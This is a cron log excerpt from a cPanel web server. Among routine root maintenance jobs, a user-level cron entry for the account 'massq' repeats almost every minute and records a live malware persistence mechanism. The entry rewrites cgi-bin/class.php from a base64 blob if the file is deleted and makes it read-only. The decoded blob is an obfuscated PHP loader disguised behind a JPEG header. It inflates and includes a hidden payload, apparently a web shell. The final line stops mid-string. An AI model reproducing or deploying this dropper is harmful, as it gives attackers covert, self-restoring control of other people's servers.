Sep 11 08:20:01 server CROND[31178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:20:01 server CROND[31191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:20:01 server CROND[31194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:20:01 server CROND[31196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:20:01 server CROND[31199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:20:01 server CROND[31197]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:20:01 server CROND[31198]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:20:01 server CROND[31190]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:21:01 server CROND[32004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:21:01 server CROND[32005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:21:01 server CROND[32006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:22:01 server CROND[32368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:22:01 server CROND[32369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:22:01 server CROND[32370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:23:01 server CROND[387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:23:01 server CROND[389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:23:01 server CROND[388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:24:01 server CROND[799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:24:01 server CROND[800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:24:01 server CROND[801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:25:01 server CROND[1267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:25:01 server CROND[1268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:25:01 server CROND[1273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:25:01 server CROND[1278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:25:01 server CROND[1272]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:25:01 server CROND[1270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:25:01 server CROND[1274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:25:01 server CROND[1271]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 08:26:01 server CROND[2199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:26:01 server CROND[2200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:26:01 server CROND[2201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:27:01 server CROND[2577]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:27:01 server CROND[2576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:27:01 server CROND[2578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:27:01 server CROND[2579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:28:01 server CROND[3074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:28:01 server CROND[3073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:28:01 server CROND[3075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:29:01 server CROND[3461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:29:01 server CROND[3462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:29:01 server CROND[3463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:30:01 server CROND[3837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:30:01 server CROND[3838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:30:01 server CROND[3842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:30:01 server CROND[3847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:30:01 server CROND[3849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:30:01 server CROND[3852]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:30:01 server CROND[3850]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 08:30:01 server CROND[3860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:30:01 server CROND[3861]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:31:01 server CROND[4686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:31:01 server CROND[4688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1